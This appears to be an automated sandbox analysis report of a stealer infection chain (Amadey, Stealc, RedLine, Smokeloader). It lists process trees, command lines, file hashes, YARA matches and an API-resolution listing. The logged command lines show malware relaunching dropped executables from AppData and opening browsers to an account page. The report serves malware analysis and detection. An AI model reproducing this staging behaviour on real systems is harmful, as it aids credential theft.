Start time:	04:36:20
Start date:	26/07/2024
Path:	C:\Users\user\AppData\RoamingBKJEGDGIJE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\RoamingBKJEGDGIJE.exe"
Imagebase:	0x2a0000
File size:	1'921'024 bytes
MD5 hash:	2EA7CDF07B824194AB50F5C5B1E61F16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2373501686.00000000002A1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2332541426.0000000004880000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:36:22
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingIJEGDBGDBF.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:36:22
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:36:22
Start date:	26/07/2024
Path:	C:\Users\user\AppData\RoamingIJEGDBGDBF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\RoamingIJEGDBGDBF.exe"
Imagebase:	0x60000
File size:	1'912'832 bytes
MD5 hash:	206643B224AE6BBD3DF9D3CA393B9E80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2365017616.0000000005120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2451973039.0000000000061000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:36:24
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x820000
File size:	1'921'024 bytes
MD5 hash:	2EA7CDF07B824194AB50F5C5B1E61F16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.2379252513.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	04:36:25
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 2456
Imagebase:	0x670000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:36:30
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Imagebase:	0xc00000
File size:	1'912'832 bytes
MD5 hash:	206643B224AE6BBD3DF9D3CA393B9E80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2491687101.0000000000C01000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000003.2450117258.0000000004910000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:36:30
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0xc00000
File size:	1'912'832 bytes
MD5 hash:	206643B224AE6BBD3DF9D3CA393B9E80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2451358988.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2492594050.0000000000C01000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:37:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0xc00000
File size:	1'912'832 bytes
MD5 hash:	206643B224AE6BBD3DF9D3CA393B9E80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000003.2737331224.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	04:37:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x820000
File size:	1'921'024 bytes
MD5 hash:	2EA7CDF07B824194AB50F5C5B1E61F16
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.2766827363.0000000000821000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.2726323030.0000000005130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:37:06
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe"
Imagebase:	0x400000
File size:	253'952 bytes
MD5 hash:	D3CE34E9BB2A33AB3D637E75AF2A8BB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000014.00000002.2835940724.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000014.00000002.2836488033.000000000267E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.2836612791.0000000002698000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:37:09
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8012 -s 1056
Imagebase:	0x670000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:37:09
Start date:	26/07/2024
Path:	C:\Users\user\1000003002\5aa32fec17.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\1000003002\5aa32fec17.exe"
Imagebase:	0x400000
File size:	91'648 bytes
MD5 hash:	4D62ACEDF9A28EC051FF554A996BAD98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\1000003002\5aa32fec17.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:37:09
Start date:	26/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5175.tmp\5176.tmp\5177.bat C:\Users\user\1000003002\5aa32fec17.exe"
Imagebase:	0x7ff6f0b40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:37:09
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:37:10
Start date:	26/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	04:37:10
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff66e660000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:37:10
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:37:10
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1992,i,12986128645903836916,990054772978296775,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:37:10
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	04:37:11
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	04:37:11
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	04:37:11
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	04:37:12
Start date:	26/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1908,i,2461605866906430469,16426006232859990592,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	04:37:17
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe"
Imagebase:	0x400000
File size:	253'952 bytes
MD5 hash:	D3CE34E9BB2A33AB3D637E75AF2A8BB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000025.00000002.3001198301.0000000004090000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000025.00000002.3000226741.00000000025A0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:37:18
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2356 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {54a18292-6da0-4808-9925-4c7144e972d8} 3132 "\\.\pipe\gecko-crash-server-pipe.3132" 169b956bf10 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	04:37:22
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7216 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	04:37:22
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7368 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	04:37:23
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1336 -s 1328
Imagebase:	0x670000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:37:24
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7884 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	04:37:25
Start date:	26/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7884 --field-trial-handle=2272,i,17408015981924846693,9755921659909947626,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	04:37:25
Start date:	26/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4380 -parentBuildID 20230927232528 -prefsHandle 4008 -prefMapHandle 4124 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d4885320-d06e-4770-870c-611d160c432d} 3132 "\\.\pipe\gecko-crash-server-pipe.3132" 169cbbee210 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 004195E0 Relevance: 203.7, APIs: 112, Strings: 4, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,024E9C88), ref: 004195FD
GetProcAddress.KERNEL32(76210000,024E9B68), ref: 00419615
GetProcAddress.KERNEL32(76210000,024EC5F0), ref: 0041962E
GetProcAddress.KERNEL32(76210000,024EC608), ref: 00419646
GetProcAddress.KERNEL32(76210000,024EC860), ref: 0041965E
GetProcAddress.KERNEL32(76210000,024EC7E8), ref: 00419677
GetProcAddress.KERNEL32(76210000,024E8A70), ref: 0041968F
GetProcAddress.KERNEL32(76210000,024EC800), ref: 004196A7
GetProcAddress.KERNEL32(76210000,024EC830), ref: 004196C0
GetProcAddress.KERNEL32(76210000,024EC818), ref: 004196D8
GetProcAddress.KERNEL32(76210000,024EC848), ref: 004196F0
GetProcAddress.KERNEL32(76210000,024E9B88), ref: 00419709
GetProcAddress.KERNEL32(76210000,024E9C68), ref: 00419721
GetProcAddress.KERNEL32(76210000,024E9DA8), ref: 00419739
GetProcAddress.KERNEL32(76210000,024E9D48), ref: 00419752
GetProcAddress.KERNEL32(76210000,024EC878), ref: 0041976A
GetProcAddress.KERNEL32(76210000,024EC7D0), ref: 00419782
GetProcAddress.KERNEL32(76210000,024E8868), ref: 0041979B
GetProcAddress.KERNEL32(76210000,024E9BA8), ref: 004197B3
GetProcAddress.KERNEL32(76210000,024EC7B8), ref: 004197CB
GetProcAddress.KERNEL32(76210000,02509F00), ref: 004197E4
GetProcAddress.KERNEL32(76210000,02509C78), ref: 004197FC
GetProcAddress.KERNEL32(76210000,02509EE8), ref: 00419814
GetProcAddress.KERNEL32(76210000,024E9BE8), ref: 0041982D
GetProcAddress.KERNEL32(76210000,02509EA0), ref: 00419845
GetProcAddress.KERNEL32(76210000,02509CF0), ref: 0041985D
GetProcAddress.KERNEL32(76210000,02509C90), ref: 00419876
GetProcAddress.KERNEL32(76210000,02509CA8), ref: 0041988E
GetProcAddress.KERNEL32(76210000,02509C48), ref: 004198A6
GetProcAddress.KERNEL32(76210000,02509CD8), ref: 004198BF
GetProcAddress.KERNEL32(76210000,02509C60), ref: 004198D7
GetProcAddress.KERNEL32(76210000,02509CC0), ref: 004198EF
GetProcAddress.KERNEL32(76210000,02509D08), ref: 00419908
GetProcAddress.KERNEL32(76210000,024E7FF0), ref: 00419920
GetProcAddress.KERNEL32(76210000,02509E28), ref: 00419938
GetProcAddress.KERNEL32(76210000,02509DB0), ref: 00419951
GetProcAddress.KERNEL32(76210000,024E9A48), ref: 00419969
GetProcAddress.KERNEL32(76210000,02509D20), ref: 00419981
GetProcAddress.KERNEL32(76210000,024E9CA8), ref: 0041999A
GetProcAddress.KERNEL32(76210000,02509D38), ref: 004199B2
GetProcAddress.KERNEL32(76210000,02509C18), ref: 004199CA
GetProcAddress.KERNEL32(76210000,024E9DE8), ref: 004199E3
GetProcAddress.KERNEL32(76210000,024E9CC8), ref: 004199FB
LoadLibraryA.KERNEL32(02509D50,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(02509D68,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(02509D80,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(02509D98,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(02509DC8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(02509DE0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(02509DF8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(02509E10,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(751E0000,024E9D28), ref: 00419AAA
GetProcAddress.KERNEL32(751E0000,02509E40), ref: 00419AC2
GetProcAddress.KERNEL32(751E0000,02506BC8), ref: 00419ADA
GetProcAddress.KERNEL32(751E0000,02509E58), ref: 00419AF3
GetProcAddress.KERNEL32(751E0000,024E9DC8), ref: 00419B0B
GetProcAddress.KERNEL32(74040000,024E8C28), ref: 00419B30
GetProcAddress.KERNEL32(74040000,024E9D68), ref: 00419B49
GetProcAddress.KERNEL32(74040000,024E89A8), ref: 00419B61
GetProcAddress.KERNEL32(74040000,02509E70), ref: 00419B79
GetProcAddress.KERNEL32(74040000,02509C30), ref: 00419B92
GetProcAddress.KERNEL32(74040000,024E9EE8), ref: 00419BAA
GetProcAddress.KERNEL32(74040000,024E9F08), ref: 00419BC2
GetProcAddress.KERNEL32(74040000,02509E88), ref: 00419BDB
GetProcAddress.KERNEL32(753A0000,024E9FC8), ref: 00419BFC
GetProcAddress.KERNEL32(753A0000,024EA048), ref: 00419C14
GetProcAddress.KERNEL32(753A0000,02509EB8), ref: 00419C2D
GetProcAddress.KERNEL32(753A0000,02509ED0), ref: 00419C45
GetProcAddress.KERNEL32(753A0000,024EA168), ref: 00419C5D
GetProcAddress.KERNEL32(76310000,024E88E0), ref: 00419C83
GetProcAddress.KERNEL32(76310000,024E8818), ref: 00419C9B
GetProcAddress.KERNEL32(76310000,02509FC0), ref: 00419CB3
GetProcAddress.KERNEL32(76310000,024E9EC8), ref: 00419CCC
GetProcAddress.KERNEL32(76310000,024EA188), ref: 00419CE4
GetProcAddress.KERNEL32(76310000,024E8BB0), ref: 00419CFC
GetProcAddress.KERNEL32(76910000,02509F78), ref: 00419D22
GetProcAddress.KERNEL32(76910000,024EA028), ref: 00419D3A
GetProcAddress.KERNEL32(76910000,02506BA8), ref: 00419D52
GetProcAddress.KERNEL32(76910000,02509F30), ref: 00419D6B
GetProcAddress.KERNEL32(76910000,02509F18), ref: 00419D83
GetProcAddress.KERNEL32(76910000,024EA008), ref: 00419D9B
GetProcAddress.KERNEL32(76910000,024EA108), ref: 00419DB4
GetProcAddress.KERNEL32(76910000,02509F48), ref: 00419DCC
GetProcAddress.KERNEL32(76910000,02509F60), ref: 00419DE4
GetProcAddress.KERNEL32(75B30000,024E9E48), ref: 00419E06
GetProcAddress.KERNEL32(75B30000,02509FA8), ref: 00419E1E
GetProcAddress.KERNEL32(75B30000,02509FD8), ref: 00419E36
GetProcAddress.KERNEL32(75B30000,02509F90), ref: 00419E4F
GetProcAddress.KERNEL32(75B30000,0250A440), ref: 00419E67
GetProcAddress.KERNEL32(75670000,024E9F68), ref: 00419E88
GetProcAddress.KERNEL32(75670000,024EA1A8), ref: 00419EA1
GetProcAddress.KERNEL32(76AC0000,024E9E68), ref: 00419EC2
GetProcAddress.KERNEL32(76AC0000,0250A368), ref: 00419EDA
GetProcAddress.KERNEL32(6F4F0000,024E9F88), ref: 00419F00
GetProcAddress.KERNEL32(6F4F0000,024EA068), ref: 00419F18
GetProcAddress.KERNEL32(6F4F0000,024EA0A8), ref: 00419F30
GetProcAddress.KERNEL32(6F4F0000,0250A3C8), ref: 00419F49
GetProcAddress.KERNEL32(6F4F0000,024EA088), ref: 00419F61
GetProcAddress.KERNEL32(6F4F0000,024E9F28), ref: 00419F79
GetProcAddress.KERNEL32(6F4F0000,024EA128), ref: 00419F92
GetProcAddress.KERNEL32(6F4F0000,024EA0C8), ref: 00419FAA
GetProcAddress.KERNEL32(6F4F0000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F4F0000,HttpQueryInfoA), ref: 00419FD7
